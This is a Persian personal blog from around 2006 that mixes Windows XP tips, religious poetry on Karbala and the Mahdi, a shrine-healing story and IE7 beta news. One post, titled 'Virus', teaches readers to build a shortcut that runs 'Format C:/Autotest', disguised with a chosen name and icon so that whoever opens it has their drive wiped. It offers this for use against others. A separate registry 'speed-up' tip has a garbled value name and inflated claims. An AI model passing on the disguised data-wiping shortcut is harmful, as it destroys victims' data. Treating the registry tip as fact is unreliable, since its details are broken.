تبليغاتX
مشق شیدایی بیدل

مشق شیدایی بیدل

اینجا ایینه ی روح منه ..از بیدلی هایم مینویسم

بازگردانی چند برنامه ویندوز

ابتدا با كاربر Administrator وارد سيستم شويد و سي دي ويندوز XP را درون درايو سي دي رام قرار داده و سپس مراحل را انجام دهيد.

    بازگرداني Windows Media Player :
در اين حالت ابتدا سي دي ويندوز XP را درون درايو CD-Rom خود قرار داده و سپس از طريق منوي Start ابزار Run را اجرا نماييد.
عبارت زير را درون آن تايپ نماييد و بر روي دكمه OK كليك نماييد و يا كليد Enter را بفشاريد :
rundll32.exe setupapi,InstallHinfSection InstallWMP7 132 c:\windows\inf\wmp.inf
به اين ترتيب عمليات بازگرداني آغاز خواهد شد.

بازگرداني و نصب مجدد Microsoft Task Manager :
پس از ورود با كاربر Administrator ، سي دي ويندوز XP را درون درايو سي دي رام خود قرار داده و سپس از منوي Start ابزار Run را اجرا نماييد و عبارت زير را درون آن نوشته و Enter را بزنيد :
systemroot%\inf%
پس از اين كار پوشه INF براي شما به نمايش در خواهد آمد.
در اين پوشه به دنبال فايل mstask.inf  بگرديد.
پس از يافتن فايل روي آن راست كليك نماييد و گزينه Install را انتخاب نماييد.
پس از اين كار عمليات نصب مجدد آغاز خواهد شد.

 بازگرداني و نصب مجدد Microsoft Backup :
همان مراحل قبل بر روي فايل MSbackup.inf  صورت گيرد.

بازگرداني و نصب مجدد Outlook Express 6 :
همان مراحل بر روي فايل MSOE50.inf  صورت گيرد.


 بازگرداني و نصب مجدد Microsoft Search Assistant :
براي اين منظور دقيقا مانند حالت قبل عمل نماييد.
در پوشه INF به دنبال فايل  Srchasst.inf  بگرديد.
پس از يافتن روي آن راست كليك كرده و گزينه Install را انتخاب نماييد.
سي دي ويندوز XP را نيز درون درايو سي دي رام قرار دهيد.

منبع:P30World

+ نوشته شده در  یکشنبه سی ام بهمن 1384ساعت 16:54  توسط بیدل  | 

نهج البلاغه در شعر شاعران

                                    امام زمان (عج) و امیدواری به آینده

اَلاوَاِن من اَدرَکَها منا یسری فیها بسراجٍ منیرٍ ویحذو فیها علی مثال الصالحین

خطبه 150/3

(آگاه باشید!همانا یکی از ما اهل بیت(ع) در آینده در امواج حوادث  با چراغی درخشنده راه می پیمایدو با راه و رسم صالحان و پاکان عمل می کند)

حافظ:

حافظ مکن اندیشه که آن یوسف مهرو     باز آیدو از کلبه ی احزان بدر آیی

خاقانی:

شیطان شکند ادم و دجال کشد مهدی       چون ادم و مهدی باد انصار تو عالم را

                                     **************

مهدی دجال کش آدم شیطان شکن       موسی دریا شکاف احمد جبریل دم

مولوی:

تو یوسف جمالی و چشم خلق بسته         نظر ز تو گشاید چو چشم پیر کنعان

شهریار:

پیر کنعانم و گردم بسر چاه فراق       بو که آن یوسف گلپیرهن اید بیرون

بوی پیراهن آن یوسف گمگشته بیار       تا که یعقوب ز بیت الحزن آید بیرون

فدایی شیرازی:

ای وارث شیر خدای ای حق پرست حق نمای        دست خدایی برگشا در هم شکن اصنام را

ضیا ء اصفهانی:

مهدی غایب آن که زد دجال فتنه ام    در زیر چتر معدلت خود امان دهد

ای شه برون خرامی اگر ذوالفقار تو      رونق به دین خاتم پیغمبران دهد

ناصر خسرو:

بر جان من چو نور امام زمان بتافت        لیل السرار بودم و شمس الضحی شدم

حافظ:

                مژده ای دل که مسیحا نفسی می آید       که زانفاس خوشش بوی کسی می آید

+ نوشته شده در  شنبه بیست و نهم بهمن 1384ساعت 20:50  توسط بیدل  | 

افزایش سرعت اینتر نت

 اگر می خواهيد سرعت اينترنت شما تا چند برابر افزايش پيدا کند آدرس زير را پيدا کنيد
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Internet
Settings سپس در سمت راست پنجره اين دو عبارت را بايد بسازيد چون وجود ندارد
MaxConnectionsPerServer  عبارت اول و MaxConnectionPerl_OServer عبارت دوم 
در قاب سمت راست کليک راست كنيد يک مقدار  DWORD بسازيد و در روی عبارت

اول دبل کليک کنيد و در Modify عدد برابر ۸ به آن بدهيد برای عبارت شماره 2 هم

همین مراحل را انجام بدید وروی  MaxConnectionPerl_OServer  دبل کليک کرده

و در Modify حرف a را وارد کنيد  و سيستم را يک بار Log Off کنيد .

 
+ نوشته شده در  شنبه بیست و نهم بهمن 1384ساعت 16:15  توسط بیدل  | 

ویروس

بسم الله الرحمن الرحیم

میخوام اموزش نوشتن یه ویروس ساده ولی خطرناکو تو دفتر مشقم براتون بنوسیم:

 روي دسكتاپ رايت كليك كنيد ویک New ShortCut بسازيد.

در صفحه ای که باز میشود بنويسيد: Format C:/Autotest

سپس Next را زده و در صفحه جديد كه باز میشود یک اسم برا ويروستون انتخاب كنيد.

بعد Next را زده ویک آيكون با سليقه خود براي فایلتون انتخاب كرده و Finish  كنيد.

الان کار تمام است و اگه اجراش کنید مصدوم اماده میشه.

اگه خواستين بفهمين چي ميشه به جاي Format C:/autotest بنويسيد Format

a:/autotest  و يه فلاپي كه حاوي اطلاعات هستش در Flopy Drive خود قرار دهيد بعد

اجراش كنيد بعد برين سراغ فلاپيتون ببينيد چي شده.ميبينيد فلاپي پاك شده   

 وديگه نه میشه اطلاعات روش ريخت ونه ميشه فرمتش كرد.

+ نوشته شده در  شنبه بیست و نهم بهمن 1384ساعت 16:11  توسط بیدل  | 

قتل الحسین بکربلا

و اسرع فرسک شاردا الي خيامک قاصدا محمحما باکيا


و اسب تو شيون کنان از تو دور شده شيهه کشان و گريه کنان به قصد خيام حرم سرعت گرفت ...


فلما رأين النساء جوادک مخزيا ، و نظرن سرجک عليه ملويا ، برزن من الخدور ناشرات الشعور علي الخدود لاطمات الوجوه سافرات ، و بالعويل داعيات ، و بعد العز مذللات ، و الي مصرعک مبادرات

همينکه بانوان حرم ، اسب تو را ، بلا زده و خواري رسيده ديدند ، و زين تو را بر آن واژگونه يافتند ، از پس پرده ي خيمه ها بر آمدند در حاليکه گيسوانشان را بر چهره پريشان ساخته و نقاب از چهره انداخته و سيلي بر صورتهايشان ميزدند ، و با صداي بلند گريه ميکردند ، و ناله و فرياد کنان تو را ميخواندند

آنان بعد از عمري عزت ، به ذلت و خواري گرفتار شده بودند و به سوي قتلگاه تو ميشتافتند ...

و الشمر جالس علي صدرک ، و مولغ سيفه علي نحرک ، قابض علي شيبتک بيده ، ذابح لک بمهنده قد سکنت حواسک و خفيت انفاسک


و رفــــــــــــــــــــع علي القـــــناه رأســــــک


در حاليکه شمر بر روي سينه ي تو نشسته بود و شمشير تشنه اش را بر گلوگاه تو نشانده از خون گلويت سيراب ميکرد با دست پليدش محاسن شريف تو را گرفته بود و با شمشير تيزش سر از بدنت جدا ميکرد ...


حواست از حرکت باز ايستاد ، و نفسهاي شريفت نهان گشت ،


و ســـر مـبارکت بــر فــراز نيــزه بــالا رفـــت


زيارت ناحيه مقدسه


سر آفتاب را بريدند و دو دست ماه را ...


 زينب ماند و نماز کسوف آفتاب و خسوف ماه خود

http://mohrem.parsiblog.com/منبع

+ نوشته شده در  پنجشنبه بیستم بهمن 1384ساعت 23:58  توسط بیدل  | 

یا زینب کبری(س)

 

زینب آیا سر به محمل می زند ؟.... کاروان را زخمه بر دل می زند ؟

ای پرستار پرستوهای من .... مرهم زخم تکاپوهای من

ای زبان صدق و تصدیق صفا .... اولین بیمار چشمت مصطفی

عصمت زهرا ، عزیز مرتضی .... در تو جاری رستخیز مرتضی

عصر عاشورا علم دردست توست .... کرسی و لوح و قلم در دست توست

غنچه ها را گرچه پرپر کرده ام .... کوله بارت را سبک تر کرده ام

ظهر عاشورا که زیر خنجرم .... دست بگشا ، سایه افشان بر سرم

می سزد گر نی نکته پردازی کند .... در نیستان ، آتش اندازی کند

صبر کن ، نی از نفس افتاده است .... ناله بر دوش جرس افتاده است

کاروان بی میر و بی پشت و پناه .... در غل و زنجیر می افتد به راه

می رود منزل به منزل در کویر .... تا بگوید سرّ بیعت با غدیر

تا قلم لب بر مرکب می زند .... بوسه بر جا پای زینب می زند

می گذارد سر به صحرای جنون .... می نگارد نقشی از دریای خون

می کشد آه از نهادی سوخته .... از ضمیر خیمه ای افروخته

کربلا می مرد اگر زینب نبود .... شیعه می پژمرد اگر زینب نبود

  « مرحوم محمد رضا آغاسی »

+ نوشته شده در  دوشنبه هفدهم بهمن 1384ساعت 11:19  توسط بیدل  | 

دخیلم یا اباالفضل

کربلا لبریز عطر یاس شد .... نوبت جانبازی عبّاس شد

بازوانش مرگ را بی تاب کرد .... تیغ های تشنه را سیراب کرد

تا کنون عباس ها را دیده ای ؟ .... بوسه ای از دست آنها چیده ای ؟

بنگر این مستان آتش خورده را .... بازوان تیر و ترکش خورده را

شیعه یعنی عشقبازی با خدا .... یک نیستان تکنوازی با خدا

شیعه یعنی هفت وادی اضطراب .... شیعه یعنی تشنگی بر شطّ آب

آب گفتم ، سینه ام بی تاب شد .... خیمه ها از آه و آتش آب شد

آب گفتم ، تشنگی بیداد کرد .... کودکم بی تاب شد ، فریاد کرد

بر زبانش شعله ی آب و عطش .... شد ز تیر کین گلویش آبکش

آفتاب از روی زین افتاده است .... مشک آبش بر زمین افتاده است

کیست این ساقی که بی دست آمده ست ؟ .... کز سبوی تیغ سرمست

آمده ست ؟

کیست این ساقی که در خون پا نهاد ؟ .... تیغ ها را دید و پیشانی گشاد ؟

کیست این ساقی که بر خود پا گذاشت ؟ .... آب را در حسرت لب ها  گذاشت؟

ـ مشک من لبریز آب و آبروست .... چشم من با خیمه ها در گفتگوست 

ـ ای خدا این مشک را از من مگیر .... گر گرفتی اشک را از من مگیر

 ......

مرحوم محمد رضا اغاسی(رحمته الله علیه)

+ نوشته شده در  دوشنبه هفدهم بهمن 1384ساعت 11:11  توسط بیدل  | 

محرم

باز محرم رسيد، دلم چه ماتمزده

کسي ميان اين دل، خيمه ماتم زده

 باز محرم رسيد، شدم چه حيران و مست

از اين همه عاشقي، دوباره ام مست مست

 باز محرم رسيد، ميکده ها وا شدند

تمام عاشقانت، واله و شيدا شدند

 باز محرم رسيد، اين من و گريه هايم

رفع عطش مي کند، فرات اشک هايم

باز محرم رسيد، شهر سيه پوش توست

دل ، نگران رنج خواهر مظلوم توست

باز محرم رسيد، مدرسه عشق باز

کلاس درس زينب، کار نموده آغاز

باز محرم رسيد، وعده گه بيدلان

فصل جنون و مستي، صاحبِ صاحبدلان

 باز محرم رسيد، تا سحر آواره ام

ميان ميخانه ها، مستم و ديوانه ام

 باز محرم رسيد، عاشقي سوداگريست

گرمي بازار عشق، شور دل زينبيست

+ نوشته شده در  چهارشنبه دوازدهم بهمن 1384ساعت 8:48  توسط بیدل  | 

فرات مهربانی

 زنده ياد نصرا... مردانی

به طاق آسمان امشب گل اختر نميتابد         

بنات النعش اكبر بر سر اصغر نمي تابد

به شام كربلا افتاده در درياي شب ماهي

كه هرگز آفتابي اينچنين ديگر نمي تابد

به دنبال كدامين پيكر صد پاره مي گردد

كه از گودال خون خورشيد بي سر درنمي تابد

به پهناي فلك بعد از تو اي ماه بني هاشم

چراغ مهر ديگر تا قيامت برنمي تابد

فرات مهرباني تشنه ي لب هاي عطشانت

تو آن درياي ايثاري كه در باور نمي تابد

كنار شط خون دستي و مشكي پاره مي گويد

كه عباس دلاور از برادر سر نمي تابد

ز خاك تيره هفتاد و دو كوكب آسماني شد

كه بر بام جهان نوري از اين برتر نمي تابد

+ نوشته شده در  سه شنبه یازدهم بهمن 1384ساعت 1:1  توسط بیدل  | 

دیگر من عاشق نیستم..

بنویس...

بنام دل...

می دانم سخت است نوشتن..برای تو که با نگاه و با دلت حرف میزنی..

چند صباحی ست مهری سبز تو را نمک گیر نگاهش کرده وتو چون در راه مانده ای مسکین نه روی ماندن داری و نه توان رفتن.

بگو..می شنوم...بلندتر بگو... تا مهر بشنود که برای ماندن امده بودی..امده  بودی تا دلت را با عشق بشویی دست گرم مهر را روی گونه های زردت به نرمی احساس کنی..

حس غریبی است...تو با تمام وجودت رویشی سبز را میزبانی .نمیدانم شکوفه ی لا شه ای گندیده چه خواهد شد..ایا شاپرکی سفید رغبتش را خواهد داشت؟...

روز ها از پی هم می آیند و میروند و تو همچنان مجروح زخمی اشنایی..زخمی که هیچگاه ارزوی التیامش را نمیکنی...زخم گل رز.

اری تو بی انکه متوجه خار باشی رز را چیده ای..واکنون که باغبان گلت را پس میگیرد  خارهای فرو رفته در دستت خود را نشان میدهند.

 اری تو با سرخی گلبرگهایش زنده بودی و دلت پر از بیدلی بود..ای کاش اسمان ابیت زرد نمی شد... و پرستوی عاشق خیالت زیر چنگال عقاب سیاه مرگ جان نمی داد.کاش قصه گو اینبار قصه را تحریف می کرد...و بجای یک اسمان غروب ...یک اسمان سپیده می نشست... ودر میان دل نوشته های یک معلم روایت عشقش نیز نوشته می شد.

ادامه بده..خسته نشو..بگو..می دانم دیگر حتی کلمات هم در زمستان احساست یخ می زنند و با کمترین تکانی خرد می شوند...اه..دیگر نگو..تو مسافری..برو و سلام مرا به شب برسان...برو  و مرا با تندیس تو خالی خود تنها بگزار...من می مانم و کالبد پوسیده ام میزبان مرداب می شود..باشد که مرداب من یاد پروانه و فرهاد و جنون را در خود دفن کند و دیگر کسی هوس سوختن و عزم بیستون نکند.

خداحافظت باشد.

+ نوشته شده در  پنجشنبه ششم بهمن 1384ساعت 11:38  توسط بیدل  | 

کرامات رضوی

با كدامين نگاه
 

  • زهرا منصوري از خرم آباد تنكابن

  • نوع بيماري: فلج تمام بدن

  • تاريخ شفا 13 مرداد 1366

نه كار يك روز دو روز است، و نه ماه و دو ماه، و نه حتي يكسال و دوسال. صحبت يك عمر است. يعني مي شود انتظار داشت كه او، يك عمر، اين وضعيت را تحمل كند و دم برنياورد؟
نه، توقع بزرگي است، من نبايستي چنين انتظاري از او داشته باشم، او هنوز جوان است، و همسري سالم و خوب مي خواهد. زني كه وقتي او از كار روزانه اش برميگردد، تمام اتاقها را تميز كرده باشد. چاي دم كرده و ناهارش آماده باشد و وقتي در زد، به استقبالش برود، و با خوش رويي در به رويش بگشايد. برايش چاي بريزد، و تا او چايش را بنوشد، سفره را انداخته و بساط ناهار را مهيا كرده باشد، و هنگامي كه شوهر از او مي پرسد: ناهار چي داريم؟ زن به رويش لبخند بزند، و بگويد همون غذايي رو كه دوس داري، و شوهر هر دودستش رامحكم به هم بكوبد، و با خوشحالي بگويد: آفرين به همسر خوب و باوفايم اما حالا چي؟
با كدام پا، همراش بشوم؟ با كدام دست، هميارش باشم، با كدام كلام، همزبانش گردم، با كدام ….؟!
نه، من نبايد از وي متوقف باشم كه به پايم بماند تا پير شود. آخر تاكي تحمل خواهد كرد، يك سال؟ ده سال … بالاخره خسته خواهد شد و من بايد قبل از آن تكليفم را با او روشن كنم، بايد حرف دلم را برايش بگويم. او نبايد به درد من بسوزد، خرد شود و بميرد. من نبايد انتظار داشته باشم كه او يك عمر، تر و خشكم كند، اين سو و آن سويم ببرد، زندگي اش را به پايم تباه كند، و من حتي زبان تشكر از او را هم نداشته باشم.
بايد از او بخواهم رهايم كند، طلاقم بدهد، و خودش را از زير بار مسئوليت من خلاص كند.
من به او خواهم گفت همين امروز، وقتي از اداره برگردد، همه حرفهايم را به او خواهد زد. اما با كدام زبان؟ من كه تكه گوشتي بيش نيستم، بي هيچ تكان و حركت، بي هيچ ثمر و اثر. نه حتي دستي كه بنويسم. تنها، بار سنگيني هستم كه بر دوش او آويزانم و بس، … بيچاره شوهرم.
چرا بايد درد لاعلاج مرا تحمل كند؟ چرا بايد به پاي من بسوزد و ذوب شود؟ آه، چگونه برايش بگويم؟ آه، چگونه سازم كه ديگر نمي خواهم باري بر دوشش باشم؟ آه، اگر زبان مي داشتم …
همه چيز به يكباره اتفاق افتاد. عباس در تراس خانه نشسته بود و انوار غروب را به چشم مي كشيد، كه ناگهان دردي به پهلوي راستم خيزيد، تنم به رعشه افتاد و بي اختيار جيغ كشيدم. عباس به سرعت به سويم دويد، و من شنيدم كه از زمين بلند كرد، وقتي به هوش آمدم، در بيمارستان بودم. خواستم برخيزم، اما گويي مرا به تخت دوخته بودند. عباس با همان چهره نگران و آشفته، جلو دويد و تا مرا بهوش ديد، فرياد زد:
خانم پرستار …. خانم پرستار … بهوش امد.
پرستاري به درون آمد، و به دنبال او، پدر و مادر پيرم با چشماني پر از گريه.
خواستم سلام كنم، ولي زبانم در دهانم قفل شده بود. تنها گريه بود كه به كمكم آمد، و اشك مرهم درد و رنجم شد.
گريستم، شوهرم دستان بي رمق و بي حسم را درون دستانش گرفت و آرام همراه من گريست و بعد گفت:
غصه نخور! خوب مي شي و من هم همين تصور را داشتم، هرگز به باور نمي آمد كه فلج شده باشم، و ديگر هيچ وقت قادر به حرف زدن و تكان خوردن نباشم.
روزها گذشت و من، نه توان حركت يافتم و نه قدرت كلام.
از بيمارستان مرخصم كردند، به خانه آمدم بي آنكه تغييري در حالتم حاصل شده باشد همان گونه لس و بي حس و بي زبان. همه دورم را گرفتند. پدر، مادر، برادرها، خواهرها، و همه قوم و خويشها.مادر يكريز مي گريست.
چشمه اشكش هنوز خشك نشده بود. مدام از امام، طلب حاجت داشت، حاجتش شفاي من بود. بيچاره مادر، نمي دانست كه دخترش مرده است. مرده اي كه فقط نفس مس كشد، اي كاش آن را هم نمي كشيد. كم كم دور برم خالي شد. برادرها و خواهرها رفتند. قوم و خويشها طلب شفا كردند و مرا به خدا واگذاشتند.
پدرم رفت و تنها مادرم بود كه هنوز بر بالينم مي گريست بيچاره مادرم تا كي مي توانست تحمل كند؟ تا كي ميتوانست بر بالينم بگريد؟ آيا مي توانست همه زندگي خودش را رها كند و ب من بپردازد؟ نه، نه او مي توانست، و نه من چنين انتظاري از او اشتم. چند روز بعد شوهرم ضمن تشكر از و خواهش كرد تنهايمان بگذارد و مادر كه مي رفت هنوز مي گريست.
نگاهش را به نگاهم دوخت و آرام زمزمه كرد: معالجت مي كنم زهرا، حتي اگه شده همه زندگيمو خرجت مي كنم.
با تنها سرمايه ام، با نگاه از او تشكر كردم. و با اشاره عكسي را كه در اوايل ازدواجمان در مشهد گرفته بوديم، نشانش دادم. مي خواستم به اين وسيله به او بفهمانم كه مرا به زيارت آقا ببرد تا شفايم را از آن حضرت تمن كنم.
نگاهش را از من به عكس برگرداند، و من بستري اشك را درچشمانش ديدم. باريكه اي از آن، برشيار صورتش راه گرفت و در سياهي ريش انبوهش گم شد، و من صدايش را شنيدم كه از زمزمه به دعا برخاست.
يا ابالحسن يا علي ابن موسي الرضا، يا بن رسو ا… يا سيدنا و مولانا،انا توجهنا، وستشفعنا و توسلنا بك الي ا… و قدمناك بين يدي حاجاتنا، يا وجيها عند ا… اشفع لنا عندا…
من نيز با او، در دل، هم دعا شدم، و توسل به حضرت جستم.
صداي چرخش كليد در قفل، تفكراتم را شكست، در، بر پاشنه چرخيد، عباس ميان دو لنگه هويدا شد. تبسمي به صورتش نشست و آرام گفت: فردا عازميم. انشاء ا… كه دست خالي بر نمي گرديم.
بعد بليتي را از جيبش درآورد و جلوي صورتم گرفت و گفت: به هر زحمتي بود بليت مشهد رو گرفتم. از اداره هم دوازده روز مرخصي گرفتم، دو روز براي رفت و برگشت، ده روز هم قصد زيارت آقا، خوبه؟ باسر جواب مثبت دادم و با اشك ديده از او تشكر كردم. باران اشك چشمانم را پر كرد، و تصور عباس در امواج نگاهم گم شد، زيرا جز با زبان اشك و نگاه نمي توانستم با او حرف بزنم.
در نگاهم، پروا كبوتران حرم است، و بر گوشهايم نجوايي، عاشقانه و دردمند. عباس، دخيلم بسته و خود به حاجتمندي به حرم رفته است. تشنه ام. عطف به جام افتاده و داغ آن بر لبهايم، و من عاجزم از واگويي نياز، نگاهم را به اطراف مي سايم.
آن سوتر، سقاخانه، روبرو با نگاهم، ايستاده است، پايدار و لب تشنگان عطش به آب گوارايش مي سپارند و سيركام دور مي شوند.
آه اگر مي توانستم و بر پاهايم تواني بود، تا آن سو مي دويدم و ظرف سقاخانه را لبالب آب مي كردم، يك نفس سر مي كشيدم و عطشم را، به سردي گوارايش مي سپردم، بعد ظرفها را يكايك پر از آب مي كردم و به هر دخيل بسته عاجزي كه ياراي حركتش نبود، آب مي دادم اما، افسوس … افسوس كه خود نيز حلقه اي از همان سلسله ام.
در كنار سقاخانه، نگاهم به روي آقايي مي ايستد كه گويي با اشاره با من سخن مي گويد. اما چه مي گويد؟
نمي دانم، راه دور است و من از اشاره اش چيزي نمي فهمم. نزديكتر مي آيد حالا با وضوح او را مي بينم. چهره اي متبسم و نوراني است.
شالي سبز بر شانه انداخته و كاسه اي در دست دارد. كاسه اي لبالب آب، آن را به سوي من دراز مي كند و لبانش به آرامي تكان مي خورد.
آب ….
دستهايم را به سويش دراز مي كنم. او فاصله دارد و دست من كوتاه، تبسمي بر لبانش مي نشيند، صدايش به گوشم مي رسد كه مي گويد: برخيز! آب را براي تو آورده ام، بگير.
و من بر مي خيزم، به طرفش مي روم، روبرويش مي ايستم و آب را از دستش گرفته، باعجله و لاجرعه سر مي كشم و سيراب مي گويم:
… يا امام رضا …
فرياد مي كشم و به سوي حرمش مي دوم. او را پيدا نمي كنم. بر مي گردم. عباس را مي بينم كه از حرم بيرون آمده و نگران، بجاي خالي من در كنار پنجره فولاد خيره مانده است. كبوتران حرم از فراز گنبد امام، بال مي گيرند و در آبي بيكران آسمان رها مي شوند. من نيز بسان آنها، بال گرفته و پرواز مي كنم. سبكبال و رها. نقاره خانه، همنوا با سرور من، به صدا در مي آيد … و شادي بي پايان مرا به گوش همگان مي رساند.

+ نوشته شده در  چهارشنبه پنجم بهمن 1384ساعت 11:11  توسط بیدل  | 

IE7

 بر طبق گزارش چندین وبسایت مرتبط با ویندوز و ماکروسافت ، نسخه ی دوم آزمایشی Internet Explorer 7 از طرف ماکروسافت در روز جمعه عرضه شد و برای دانلود در دسترس است.
Internet Explorer 7 که قرار است برای ویندوز جدید ماکروسافت موسم به ویستا آماده شود، هم اکنون در سایتهای مختلفی مثل 9Down.Com برای دانلود در دسترس عموم است.
سایتهای زیادی هم مثل
ActivWin.Com عکسهای زیادی از محیط این نرم افزار و شکل و شمایل آن منتشر کرده اند.
البته ماکروسافت مثل همیشه جزئیات بیشتری را درباره محصولات بتای خود فاش نکرده ، به عنوان مثال در
وبلاگ رسمی IE هیچ اثری از عرضه ی این محصول نمیباشد فقط یکبار در کل وبلاگ کلمه ی Beta 2 نوشته شده! پس باید دانلود کنید و خودتون تستش کنید. (من که در حال دانلودم!)

دانلود :
IE 7 Beta 2 با حجم 11 مگ
مشاهده : تصاویری از این نرم افزار
مشاهده : وبلاگ رسمی IE
منبع : تیم آبادان دات نت
+ نوشته شده در  سه شنبه چهارم بهمن 1384ساعت 19:38  توسط بیدل  |